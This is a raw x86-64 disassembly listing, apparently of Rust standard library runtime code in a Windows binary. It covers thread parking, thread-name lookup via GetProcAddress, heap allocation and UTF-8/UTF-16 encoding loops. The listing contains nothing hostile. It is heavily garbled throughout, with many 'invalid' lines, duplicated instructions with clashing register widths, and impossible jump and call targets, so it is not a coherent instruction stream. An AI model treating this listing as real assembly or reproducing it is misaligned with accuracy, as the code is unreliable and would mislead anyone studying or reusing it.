ror byte [rax - 0x77], 0x44
and al, 0x40
and al, 0x40
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
sub byte [rax - 0x73], r9b
adc eax, 0x6fea0
inc byte [rsi]
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x73], r9b
adc eax, 0x6fea0
inc byte [rsi]
invalid
lea edx, [0x1400eb84c]
inc byte [rsi]
add byte [rcx - 0x48], al
mov r8d, 4
mov r8d, 4
add byte [rax], al
add bh, bh
call qword [rax + 0x18]
invalid
invalid
je 0x14007b9dd
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
mov byte [rsp + 0x38], al
mov qword [rsp + 0x28], 0
xor byte [rax + 0x48382444], cl
mov dword [rsp + 0x28], 0
mov byte [rsp + 0x39], 0
lea r8, [0x1400e7c50]
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x40]
call fcn.140043e60
mov rax, qword [rsp + 0x28]
movzx ecx, byte [rsp + 0x38]
test rax, rax
je 0x14007ba69
mov bl, 1
test cl, cl
jne 0x14007ba6b
mov rsi, qword [rsp + 0x30]
cmp rax, 1
jne 0x14007ba2b
cmp byte [rsp + 0x39], 0
je 0x14007ba2b
test byte [rsi + 0x34], 4
jne 0x14007ba2b
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e76f5]
mov r8d, 1
call qword [rax + 0x18]
test al, al
jne 0x14007ba6b
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e8d76]
mov r8d, 1
call qword [rax + 0x18]
mov ebx, eax
jmp 0x14007ba6b
sbb byte [rax - 0x73], cl
adc eax, 0x6fdee
mov r8d, 4
add rsp, 0x48
pop rbx
pop rsi
jmp rax
mov ebx, ecx
test bl, bl
setne al
add rsp, 0x48
pop rbx
pop rsi
ret
adc dword [rax], eax
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 1
mov dword [rax + 0x18], 1
mov dword [rax + 0x18], 1
movups xmmword [rax + 0x20], xmm0
mov qword [rax + 0x2e], 0
add byte [rax], al
add byte [rax], al
mov dword [rax + 0x38], 0
add byte [rax], al
add byte [rax], al
add rsp, 0x28
sub bl, al
mov edx, 0x2b
call fcn.1400a9e70
add byte [rdi], cl
invalid
add byte [rdi], cl
or ecx, esp
int3
int3
lea rdx, str.AccessErrorlibrary_std_src_threadmod.rs
mov r8d, 0xb
or eax, dword [rax]
add byte [rax], al
jmp rax
invalid
int3
insb byte [rdi], dx
and al, 0x30
mov qword [rbp], 0xfffffffffffffffe
add r14b, r15b
invalid
invalid
dec dword [rax - 0x77]
mov esi, ecx
mov esi, ecx
mov rcx, qword [rcx]
call case.0x140076467.19
add dword [rax], eax
add byte [rax - 0x7b], cl
invalid
je 0x14007bb7a
invalid
add dword [rax], eax
add byte [rax - 0x7b], cl
sal byte [rdi + riz + 0x48], 0x89
invalid
invalid
mov qword [rbp - 0x10], rax
lea rax, [rsi + 8]
or byte [rax - 0x77], r9b
clc
or byte [rax - 0x77], r9b
clc
mov dword [rbp - 8], eax
cmp qword [rsi + 8], 0
cmp dword [rsi + 8], 0
je 0x14007bb6f
mov rcx, qword [rbp - 8]
mov ecx, dword [rbp - 8]
call fcn.140079f00
dec dword [rax - 0x75]
mov rax, qword [rbp - 0x10]
mov rcx, qword [rbp - 8]
clc
invalid
clc
mov qword [rcx], rax
add dword [rax - 0x7b], ecx
ror byte [rdi], 0x95
invalid
xchg ebp, eax
test rax, rax
setne al
add rsp, 0x38
add esp, 0x38
ror byte [rax - 0x7d], 0xc4
cmp byte [rsi + 0x5d], bl
pop rsi
pop rbp
add esp, 0x38
pop rsi
pop rbp
ret
nop dword [rax + rax]
invalid
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
push rbp
push rsi
sub rsp, 0x28
in al, dx
sub byte [rax - 0x73], cl
lea ebp, [rdx + 0x30]
in al, dx
sub byte [rax - 0x73], cl
invalid
lea ebp, [rdx + 0x30]
push 0x30
mov rax, qword [rbp - 0x10]
mov rcx, qword [rbp - 8]
clc
invalid
invalid
clc
mov qword [rcx], rax
mov dword [rcx], eax
add dword [rax - 0x7d], ecx
invalid
add rsp, 0x28
add esp, 0x28
sub byte [rsi + 0x5d], bl
pop rsi
pop rbp
ret
int3
int3
int3
int3
push rsi
sub rsp, 0x48
lea rbp, [rsp + 0x40]
lea rbp, [rsp + 0x40]
and al, 0x40
mov qword [rbp], 0xfffffffffffffffe
mov rsi, rcx
mov esi, ecx
add r14b, r15b
invalid
invalid
invalid
mov esi, ecx
invalid
mov dword [rbp - 4], 0
cld
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + 0x80fa], al
invalid
cli
add byte [rax], 0
cmp edx, 0x80
add byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rbx + 0xe], dh
jae 0x14007bbf3
mov byte [rbp - 4], dl
push rbp
cld
mov r8d, 1
mov eax, 1
add byte [rax], al
add byte [rax], al
add cl, ch
jmp 0x14007bc74
add dword [rax], 0xd0890000
add byte [rax], al
add byte [rcx + 0xfa81d0], cl
mov eax, edx
cmp edx, 0x800
or byte [rax], al
add byte [rbx + 0x19], dh
jae 0x14007bc16
jae 0x14007bc16
shr eax, 6
or al, 0xc0
mov byte [rbp - 4], al
call 0xc8c7c809
cld
and dl, 0x3f
or dl, 0x80
mov byte [rbp - 3], dl
mov r8d, 2
mov eax, 2
jmp 0x14007bc74
cmp edx, 0xffff
ja 0x14007bc43
shr eax, 0xc
or al, 0xe0
mov byte [rbp - 4], al
mov eax, edx
shr eax, 6
call 0x14c46e034
or byte [rax - 0x1d7f02bb], 0x3f
invalid
invalid
or dl, 0x80
mov byte [rbp - 2], dl
push rbp
invalid
push rbp
inc byte [rcx - 0x48]
mov r8d, 3
mov r8d, 3
add bl, ch
xor ecx, eax
call 0x14c0ee05b
and al, 7
invalid
jmp 0x14007bc74
shr eax, 0x12
and al, 7
or al, 0xf0
mov byte [rbp - 4], al
cld
invalid
cld
mov eax, edx
shr eax, 0xc
and al, 0x3f
or al, 0x80
invalid
mov byte [rbp - 3], al
std
or byte [rax - 0x2f7602bb], 0xc1
call 0x14c46e067
and al, 0x3f
or al, 0x80
mov byte [rbp - 2], al
and dl, 0x3f
std
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rbp - 2], al
and dl, 0x3f
or dl, 0x80
mov byte [rbp - 1], dl
mov r8d, 4
add byte [rax], al
mov rcx, qword [rsi]
lea rdx, [rbp - 4]
call case.0x140076467.19
test rax, rax
je 0x14007bcac
invalid
mov qword [rbp - 0x18], rax
lea rax, [rsi + 8]
mov qword [rbp - 0x10], rax
cmp qword [rsi + 8], 0
je 0x14007bca1
mov rcx, qword [rbp - 0x10]
call fcn.140079f00
invalid
invalid
invalid
invalid
mov rax, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x10]
mov qword [rcx], rax
test rax, rax
setne al
add rsp, 0x48
pop rsi
pop rsi
pop rbp
ret
lea rbp, [rdx + 0x40]
mov rax, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
mov rcx, qword [rbp - 0x10]
mov ecx, dword [rbp - 0x10]
invalid
mov qword [rcx], rax
add rsp, 0x28
pop rsi
pop rbp
ret
int3
ror byte [rax - 0x73], 1
adc eax, 0x6c9b6
jmp fcn.140042180
in al, dx
test r8, r8
test eax, eax
test eax, eax
xlatb
retf
cmp byte [rbp + rcx*4 + 0x7c], cl
and al, 0x30
lea esp, [0x1400e8f80]
and eax, 0x6d24e
rol byte [rsi], cl
add byte [rbp + rcx*4 + 0x2d], cl
invalid
invalid
invalid
invalid
add bl, ch
invalid
nop dword [rax + rax]
add byte [rax], al
mov rcx, rax
mov ecx, eax
shr rcx, 0x20
shr ecx, 0x20
cmp ecx, 0x23
jne 0x14007bdca
mov rcx, r14
mov ecx, esi
int1
call fcn.140079f00
test rsi, rsi
test esi, esi
lodsb al, byte [rsi]
loope 0x14007bd52
invalid
dec dword [rax - 0x7b]
div byte [rdi + rbp*2 + 0x48]
invalid
test esi, esi
je 0x14007bdc8
mov dword [rsp + 0x20], ebx
and al, 0x20
and byte [rcx + rcx*4 - 7], cl
stc
hlt
invalid
invalid
dec dword [rcx - 0x77]
clc
mov ecx, esi
xor byte [rax], al
cmp byte [rcx + 0x3e183c1], cl
loope case.0x140032048.978
lea r8, [rax]
lea eax, [rax]
add byte [rcx + rax - 0x17], cl
add ecx, ebp
jmp 0x1b8889f8e
cmp byte [rax + 0x10], 0x23
js 0x14007bda0
and esi, dword [rcx + rdi*4 - 0x15]
xor eax, 0xf2e6666
invalid
invalid
invalid
invalid
je 0x14007bd4c
jmp 0x14007bdca
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
invalid
test byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
mov ecx, dword [rsp + 0x38]
add byte [rax], al
mov ecx, dword [rsp + 0x38]
xor byte [rax - 0x77], cl
invalid
sub eax, 0x48cf0148
add edi, ecx
mov esi, eax
test esi, esi
div byte [rbp - 0x64]
pushfq
nop
cmp byte [rax + 0xf], 0x23
je 0x14007bd4c
invalid
js 0x14007bdd2
and esi, dword [rsi + rax*4 - 0x15]
xchg bl, ch
jmp 0x14007bdca
add dh, byte [rcx]
ror byte [rax - 0x7d], 0xc4
pop rbx
pop rsp
lea eax, [0x1400e8f98]
add eax, 0x6d1b2
rol dword [rsi], 1
add byte [rax - 0x77], cl
bnd call fcn.1400a9cf0
call fcn.1400a9cf0
add al, byte [rax]
add byte [rdi], cl
or ecx, dword [rax - 0x7d]
cmp ecx, 0xffffffff
stc
push qword [rdx + rbx + 0x49]
invalid
invalid
sbb cl, byte [rcx - 0x77]
enter 0x48f0, 0xffffffffffffffff
invalid
invalid
invalid
mov eax, ecx
or byte [r13 + 0x10], sil
or byte [rbp + 0x10], dh
mov ecx, dword [0x1400f91f8]
invalid
jmp qword [sym.imp.kernel32.dll_HeapFree]
clc
add r8d, dword [r8]
int3
int3
int3
int3
int3
int3
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x58
sub esp, 0x58
sub esp, 0x58
lea rbp, [rsp + 0x50]
lea ebp, [rsp + 0x50]
mov qword [rbp], 0xfffffffffffffffe
invalid
mov rdi, r8
mov rbx, rdx
mov ebx, edx
mov ebx, edx
mov rsi, rcx
mov r15, r8
mov edi, eax
invalid
mov edi, eax
mov eax, 2
inc r15
invalid
add byte [rcx - 1], cl
invalid
je case.0x1400689bc.860
mov rcx, r15
stc
shr rcx, 0x3e
jne case.0x1400279e4.867
add dword [rax], eax
invalid
jne case.0x1400279e4.867
add dword [rax], eax
add byte [rbp - 0x77], cl
mov esi, edi
invalid
invalid
mov r14, r15
mov esi, edi
add r14, r15
je case.0x1400689bc.860
invalid
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
or eax, 0x7d386
mov dh, 5
push rbp
invalid
invalid
or eax, 0x7d386
add byte [rax - 0x7b], cl
leave
test rcx, rcx
jne 0x14007be90
call qword [sym.imp.kernel32.dll_GetProcessHeap]
jae 0x14007bec0
add r8d, dword [r8]
add eax, dword [rax]
test rax, rax
je 0x14007bfbf
test byte [rcx], bh
add dword [rax], eax
invalid
test byte [rcx], bh
add dword [rax], eax
add byte [rax - 0x77], cl
mov rcx, rax
ror dword [rax - 0x77], 5
push 0x310007d3
rol dword [rdi], cl
add byte [rcx], dh
mov qword [0x1400f91f8], rax
rol dword [rdi], cl
add byte [rcx], dh
xor edx, edx
mov r8, r14
ror byte [rbp - 0x77], cl
invalid
call qword [sym.imp.kernel32.dll_HeapAlloc]
pop rbp
add r8d, dword [r8]
add eax, dword [rax]
test rax, rax
test eax, eax
ror byte [rdi], 0x84
je 0x14007bfbf
sbb eax, dword [rcx]
add byte [rax], al
add dword [rax], eax
add byte [rax - 0x77], cl
invalid
invalid
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], r15
jge 0x14007be9c
call 0x1308547f8
jge 0x14007be9c
mov qword [rbp - 8], 0
mov dword [rbp - 8], 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rax + 1], cl
add rdi, rbx
mov qword [rbp - 0x30], rbx
pop rbp
ror byte [rax - 0x77], 1
mov dword [rbp - 0x28], edi
fisttp word [rax - 0x77]
pop rbp
ror byte [rax - 0x77], 1
mov dword [rbp - 0x28], edi
mov dword [rbp - 0x28], edi
mov word [rbp - 0x20], 0
lea rcx, [rbp - 0x18]
lea rdx, [rbp - 0x30]
mov dword [rbp - 0x20], 0x8d480000
loopne 0x14007bec4
add byte [rax - 0x73], cl
call 0x1105d4c15
call fcn.14007c080
mov r8, qword [rbp - 0x18]
mov rdx, qword [rbp - 8]
mov rax, rdx
ror byte [rcx + rcx*4 - 0x3f], 1
ror byte [rcx + rcx*4 - 0x3f], 1
cmp rdx, 8
jb case.0x14002f3a6.655
or byte [rdx + 0x4b], dh
mov rcx, r8
mov rax, rdx
mov eax, edx
mov eax, edx
shl byte [rsi - 0x7d], 1
cmp dword [rax], eax
cmp word [rcx], 0
add byte [rdi + rbx*2 + 0x66], dh
cmp dword [rcx + 2], 0
je case.0x14002f3a6.663
pop rdi
cmp word [rcx + 2], 0
je case.0x14002f3a6.663
pop rax
cmp word [rcx + 4], 0
je case.0x14002f3a6.663
push rcx
push rcx
cmp word [rcx + 6], 0
je case.0x14002f3a6.663
invalid
cmp word [rcx + 8], 0
cmp word [rcx + 8], 0
je case.0x14002f3a6.663
cmp word [rcx + 0xa], 0
cmp word [rcx + 0xa], 0
or al, byte [rax]
je case.0x14002f3a6.663
cmp word [rcx + 0xc], 0
add byte [rbp + rsi + 0x66], dh
je case.0x14002f3a6.663
cmp word [rcx + 0xe], 0
cmp dword [rcx + 0xe], 0
je case.0x14002f3a6.663
add rax, 0xfffffffffffffff8
sar al, 0x48
add ecx, 0x10
invalid
invalid
add rcx, 0x10
rcl dword [rax], 0x48
cmp eax, 7
clc
invalid
cmp rax, 7
clc
invalid
ja 0x14007beec
add rax, rax
xor r9d, r9d
xor ecx, ecx
nop word [rax + rax]
invalid
add byte [rax], al
add byte [rax], al
add byte [rcx + rdi - 0x38], cl
cmp eax, ecx
cmp rax, r9
cmp eax, ecx
je 0x14007bf7b
cmp word [rcx + r9], 0
or dword [rax], eax
lea r9, [r9 + 2]
jne 0x14007bf40
add sil, byte [r13 - 0x11]
lea rax, [0x1400ea198]
mov qword [rsi + 8], rax
mov dword [rsi + 8], eax
loop case.0x14002f3a6.666
add byte [rax - 0x77], cl
or byte [rax - 0x39], r9b
invalid
mov dword [rsi + 8], eax
mov qword [rsi], 0
mov dword [rsi], 0
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
add byte [rax], al
cmp qword [rbp - 0x10], 0
je 0x14007bfab
invalid
jge 0x14007bf57
add byte [rcx + rax*2 + 0x48], dh
mov ecx, dword [0x1400f91f8]
xchg edx, edx
invalid
invalid
mov rcx, qword [0x1400f91f8]
mov rcx, qword [0x1400f91f8]
xchg edx, edx
invalid
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
pop qword [rbx + rax]
pop qword [rbx + rax]
jmp 0x14007bfab
cmp rdx, qword [rbp - 0x10]
jne 0x14007bf92
push rbp
invalid
lea rcx, [rbp - 0x18]
call fcn.140010730
mov r8, qword [rbp - 0x18]
call 0x1385d4ada
dec dword [rbx + rcx*4 + 0x45]
call 0x1385d4ada
mov word [r8 + rdx*2], 0
add byte [rax - 1], cl
ret 0x8948
invalid
inc rdx
mov qword [rbp - 8], rdx
mov dword [rbp - 8], edx
mov qword [rsi + 0x10], rdx
movups xmm0, xmmword [rbp - 0x18]
movups xmmword [rsi], xmm0
add rsp, 0x58
add esp, 0x58
pop rax
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
call fcn.1400401e0
cld
dec dword [rdi]
or edi, dword [rcx + 2]
add byte [rax], al
invalid
ud2
mov ecx, 2
add byte [rax], al
add byte [rcx + rcx*4 - 0xe], cl
mov edx, esi
mov rdx, r14
call fcn.1400a9bd0
ud2
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x28
in al, dx
sub byte [rax - 0x73], cl
lea ebp, [rdx + 0x50]
in al, dx
sub byte [rax - 0x73], cl
lea ebp, [rdx + 0x50]
lea ebp, [rdx + 0x50]
push rax
cmp qword [rbp - 0x10], 0
je case.0x1400271cf.768
invalid
lock add byte [rbx + rdx + 0x4c], dh
add byte [rbx + rdx + 0x4c], dh
adc ecx, dword [rbx + rcx*4 + 0x45]
call 0x141154b3c
invalid
invalid
mov r8, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
call 0x141154b3c
mov rcx, qword [0x1400f91f8]
or eax, 0x7d201
add edx, edx
invalid
rol byte [rdi], cl
add byte [rcx], dh
sar bh, cl
adc eax, 0x34409
add r8d, dword [rax]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
add r8d, dword [rax]
add r8d, dword [rax]
add byte [rax + 0x28c48348], dl
nop
add rsp, 0x28
invalid
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop rsi
pop r15
pop rbp
ret
int3
push rsi
push rdi
sub rsp, 0x28
mov rsi, rdx
mov rdi, rcx
iretd
lea rcx, str.kernel32
call qword [sym.imp.kernel32.dll_GetModuleHandleA]
iretd
test rax, rax
je 0x14007c043
lea rdx, str.SetThreadDescription
lea edx, str.SetThreadDescription
jmp 0xc94fc03d
mov rcx, rax
sar edi, 0x15
fiadd dword [rdx + 3]
add eax, dword [rax]
test rax, rax
jne 0x14007c04a
lea rax, [0x14007c060]
call qword [sym.imp.kernel32.dll_GetProcAddress]
add eax, dword [rax]
add eax, dword [rax]
test rax, rax
jne 0x14007c04a
lea rax, [0x14007c060]
mov qword [case.0x140028086.741], rax
mov dword [0x1400f9038], eax
add eax, 0x7cfe7
invalid
mov rcx, rdi
mov ecx, edi
mov rdx, rsi
mov edx, esi
add rsp, 0x28
invalid
pop rdi
pop rsi
jmp rax
invalid
loopne case.0x1400689bc.561
sub esp, 0x28
mov ecx, 0x78
js 0x14007c067
add byte [rax], al
in al, dx
sub byte [rcx + 0x78], bh
js 0x14007c067
add byte [rax], al
js 0x14007c067
add byte [rax], al
add bh, bh
adc eax, 0x342d1
rol dword [rdx + 3], 1
invalid
call qword [sym.imp.kernel32.dll_SetLastError]
rol dword [rdx + 3], 1
add byte [rax - 0x7fffbfff], bh
add dword [rax], eax
invalid
mov eax, 0x80004001
add dword [rax], eax
add byte [rax + 0x28c48348], al
or byte [rax - 0x7d], 0xc4
add rsp, 0x28
add esp, 0x28
sub bl, al
int3
ret
int3
int3
int3
push r14
push rsi
push r13
push rbp
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
sub esp, 0x28
sub byte [rax - 0x77], cl
mov rsi, rdx
mov esi, edx
invalid
mov rdi, rcx
movzx r12d, word [rdx + 0x10]
mov bh, 0x62
invalid
iretd
mov bh, 0x62
adc byte [rbx + rcx*4 + 0x2a], cl
mov r13, qword [rdx]
invalid
mov r13, qword [rdx]
sub cl, byte [rbx + rcx*4 + 0x72]
mov r14, qword [rdx + 8]
mov r15, 0xffffffffffffffff
invalid
invalid
invalid
invalid
or byte [rcx - 0x39], cl
invalid
jmp case.0x1400689bc.573
shl ecx, 6
or ecx, r8d
invalid
mov r12d, ecx
xor ebp, ebp
in eax, dx
mov r13, rax
mov rbx, qword [rdi + 0x10]
cmp rbx, qword [rdi + 8]
pop rdi
or byte [rdi], cl
je 0x14007c1c2
invalid
invalid
je 0x14007c1c2
add byte [rax], al
mov rax, qword [rdi]
mov word [rax + rbx*2], r12w
and al, 0x58
invalid
and al, 0x58
inc rbx
mov qword [rdi + 0x10], rbx
adc byte [rcx - 0x77], al
in al, dx
ret
adc byte [rcx - 0x77], al
in al, dx
mov esp, ebp
test r12w, r12w
jne 0x14007c170
add byte [rax], al
cmp r13, r14
cmc
je 0x14007c1f0
add dword [rax], eax
add byte [rcx - 0x73], cl
lea eax, [rbp + 1]
mov qword [rsi], rax
lea rax, [r13 + 1]
lea eax, [rbp + 1]
mov qword [rsi], rax
mov dword [rsi], eax
movzx edx, byte [r13]
movzx r12d, dl
movzx esp, dl
mov dh, 0x55
add byte [rdi + rcx - 0x4a], al
movzx esp, dl
invalid
movzx esp, dl
mov dh, 0xe2
test r12b, r12b
test ah, ah
jns 0x14007c0b4
mov ecx, r12d
and ecx, 0x1f
loope 0x14007c126
loope 0x14007c126
lea rax, [r13 + 2]
mov qword [rsi], rax
movzx r8d, byte [r13 + 1]
and r8d, 0x3f
cmp r12b, 0xdf
jbe 0x14007c0ab
lea rax, [r13 + 3]
mov qword [rsi], rax
movzx r12d, byte [r13 + 2]
shl r8d, 6
invalid
mov dh, 0x65
add al, byte [rcx - 0x3f]
loopne 0x14007c133
and r12d, 0x3f
or r12d, r8d
cmp dl, 0xf0
invalid
jb case.0x140050f92.492
invalid
invalid
lea rax, [r13 + 4]
mov qword [rsi], rax
movzx edx, byte [r13 + 3]
and ecx, 7
invalid
mov dh, 0x55
add eax, dword [rbx - 0x1e3ef81f]
shl ecx, 0x12
shl r12d, 6
shl ecx, 0x12
shl r12d, 6
invalid
and edx, 0x3f
or edx, r12d
loop 0x14007c15f
invalid
invalid
loop 0x14007c15f
retf 0x8941
mov r12d, edx
cmp r12d, 0xffff
invalid
inc dword [rax]
invalid
invalid
add byte [rax], al
jbe 0x14007c0b4
invalid
jmp case.0x140032048.749
add byte [rax], 0
add byte [rax], al
mov word [rsi + 0x10], 0
xor ebp, ebp
adc byte [rax], r8b
add byte [rcx], dh
in eax, dx
jmp case.0x1400689bc.565
cmp al, 0xff
invalid
shl ecx, 0xc
loope 0x14007c18c
or r12d, ecx
or esp, ecx
cmp r12d, 0xffff
cmp esp, 0xffff
cld
invalid
inc dword [rax]
add byte [rdi], cl
xchg byte [rdi + rdi*8], ah
invalid
jbe 0x14007c0b4
and al, 0xff
invalid
invalid
lea ecx, [r12 + 0xff0000]
lea ecx, [rsp + 0xff0000]
add bh, bh
add cl, al
shr ecx, 0xa
or ecx, 0xd800
add al, bl
add byte [rax], al
jmp 0x140d142a8
add al, bl
add byte [rax], al
and r12d, 0x3ff
or r12d, 0xdc00
or esp, 0xdc00
add eax, dword [rax]
add byte [rcx - 0x7f], al
invalid
int3
or esp, 0xdc00
add byte [rax], al
mov word [rsi + 0x10], r12w
mov dword [rsi + 0x10], esp
mov r13, rax
mov ebp, eax
mov ebp, r12d
in eax, 0x41
mov esp, ecx
mov r12d, ecx
jmp case.0x1400689bc.565
dec dword [rbp - 0x77]
invalid
mov r8, r14
sub r8, r13
add r8, 3
add eax, 3
rol byte [rbx], 0x4d
cmovb eax, edi
cmovb r8, r15
shr r8, 2
cmp bp, 1
sbb r8, 0
add r8, 2
add eax, 2
mov rcx, rdi
mov rdx, rbx
call fcn.1400ae2f0
jmp 0x14007c0c7
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
int3
test dl, dl
je 0x14007c21e
mov byte [rcx + 0x10], 1
lock dec qword [rcx + 8]
jne 0x14007c231
mov rsi, qword [rcx]
mov al, 1
add dword [rsi - 0xc3d7ba], eax
add dword [rsi - 0xc3d7ba], eax
sub byte [rdi + rdi*8], bh
je 0x14007c238
add rsp, 0x78
add esp, 0x78
invalid
pop rdi
pop rsi
ret
add rsi, 0x28
mov rax, qword [0x1400f9230]
invalid
add byte [rax - 0x7b], cl
invalid
je 0x14007c254
invalid
invalid
mov rcx, rsi
add rsp, 0x78
pop rdi
pop rsi
jmp rax
mov rcx, qword [0x1400f9030]
or eax, 0x7cdd5
cmp rcx, 0xffffffffffffffff
jne 0x14007c2aa
stc
push qword [rbp + 0x49]
mov qword [rsp + 0x30], 0xffffffffffffffff
mov dword [rsp + 0x30], 0xffffffff
and al, 0x30
xor bh, bh
invalid
dec dword [rax - 0x75]
add eax, 0x7cdd7
xlatb
int 7
invalid
mov rax, qword [0x1400f9048]
xlatb
int 7
add byte [rax - 0x73], cl
lea rcx, [rsp + 0x30]
lea rcx, [rsp + 0x30]
lea ecx, [rsp + 0x30]
and al, 0x30
xor byte [rdx - 0x40000000], bh
mov edx, 0xc0000000
add byte [rax], al
rol byte [rbp + 0x31], 0xc0
invalid
add al, al
xor r8d, r8d
rol byte [rbp + 0x31], 0xc9
xor r9d, r9d
xor ecx, ecx
call rax
test eax, eax
jne case.0x14004e78a.445
cmp cl, byte [rax - 0x75]
mov rcx, qword [rsp + 0x30]
and al, 0x30
mov rax, 0xffffffffffffffff
mov eax, 0xffffffff
invalid
lock cmpxchg qword [0x1400f9030], rcx
cmpxchg qword [0x1400f9030], rcx
cmpxchg dword [0x1400f9030], ecx
int 7
add byte [rsp + rcx + 0x48], dh
je 0x14007c2aa
or al, 0x48
mov rdi, rax
mov edi, eax
call qword [sym.imp.kernel32.dll_CloseHandle]
adc eax, 0x34119
add eax, dword [rax]
mov rcx, rdi
stc
mov rax, qword [0x1400f9050]
lahf
int 7
add byte [rax - 0x77], cl
xor r8d, r8d
xor eax, eax
mov rdx, rsi
xor r8d, r8d
xor eax, eax
xor eax, eax
rol byte [rbp + 0x31], 0xc9
xor r9d, r9d
leave
call rax
jmp 0x14007c231
jo case.0x1400510a8.407
invalid
invalid
dec dword [rcx + 0x482c2444]
mov dword [rsp + 0x2c], eax
and al, 0x2c
lea rax, [rsp + 0x2c]
lea eax, [rsp + 0x2c]
sub al, 0x48
mov dword [rsp + 0x38], eax
and al, 0x38
mov qword [rsp + 0x38], rax
and al, 0x38
and al, 0x38
lea rax, [0x140049c10]
lea eax, [0x140049c10]
add eax, 0xfffcd93a
dec dword [rax - 0x77]
and al, 0x40
and al, 0x40
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x40], eax
and al, 0x40
lea rax, str.Unable_to_create_keyed_event_handle:_error
add eax, 0x6e58e
mov fs, ebp
invalid
add byte [rax - 0x77], cl
and al, 0x48
and al, 0x48
mov qword [rsp + 0x48], rax
and al, 0x48
mov qword [rsp + 0x50], 1
and al, 0x50
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rsp + 0x68], 0
mov dword [rsp + 0x68], 0
and al, 0x68
and al, 0x68
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [rsp + 0x38]
lea rax, [rsp + 0x38]
lea eax, [rsp + 0x38]
and al, 0x38
cmp byte [rax - 0x77], cl
and al, 0x58
and al, 0x58
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x58], eax
and al, 0x58
pop rax
mov qword [rsp + 0x60], 1
and al, 0x60
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
lea edx, [0x1400ea8b0]
lea rdx, str.library_std_src_syswindows_thread_parking.rs
lea edx, [0x1400ea8b0]
invalid
lea rcx, [rsp + 0x48]
and al, 0x48
call fcn.1400a9cb0
xchg ebx, eax
fld dword [rdx]
add byte [rdi], cl
ud2
int3
push rsi
ud2
push rdi
sub rsp, 0x38
cmp byte [rcx], dh
leave
cmp byte [rcx], dh
leave
xor edx, edx
mov r8d, 2
add byte [rax], al
invalid
rol byte [rcx - 0x48], cl
add al, byte [rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x47], al
invalid
add eax, dword [rax]
invalid
mov r9d, 0x1f0003
mov ecx, 0x1f0003
add bh, bh
adc eax, 0x33e4c
add eax, dword ds:[rax]
call qword [sym.imp.kernel32.dll_CreateWaitableTimerExW]
add eax, dword ds:[rax]
test rax, rax
test eax, eax
je 0x14007c39f
mov rsi, rax
mov qword [rsp + 0x30], 0xffffffffff676980
mov dword [rsp + 0x30], 0xff676980
mov dword [rsp + 0x30], 0xff676980
sub byte [rcx + 0x67], 0xff
mov dword [rsp + 0x28], 0
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0x30]
and al, 0x30
and byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
push rsp
and al, 0x30
mov rcx, rax
xor r8d, r8d
rol dword [rbp + 0x31], 0xc0
xor r9d, r9d
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
adc eax, 0x33e1e
adc eax, 0x33e1e
add byte [rbp + 0x482074c0], al
mov ecx, esi
test eax, eax
je 0x14007c396
invalid
and byte [rax - 0x77], cl
int1
mov rcx, rsi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
add eax, dword [rax]
invalid
add eax, dword [rax]
mov edi, eax
mov rcx, rsi
mov ecx, esi
mov ecx, esi
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp edi, 0xffffffff
jne 0x14007c3aa
jmp 0x14007c39f
mov rcx, rsi
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0x3e8
call qword [sym.imp.kernel32.dll_Sleep]
nop
add rsp, 0x38
pop rdi
pop rsi
ret
invalid
mov esi, r8d
mov rdi, rdx
mov rbx, rcx
mov rcx, qword [0x1400f9220]
add byte [rax - 0x7b], cl
leave
jne 0x14007c418
mov qword [rbp - 8], 0
lea rcx, [rbp - 8]
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [rbp - 8]
call qword [sym.imp.kernel32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x14007c574
jo 0x14007c403
add byte [rax], al
mov rcx, qword [rbp - 8]
mov qword [0x1400f9220], rcx
add byte [rax - 0x7b], cl
leave
je 0x14007c523
add dword [rax], eax
invalid
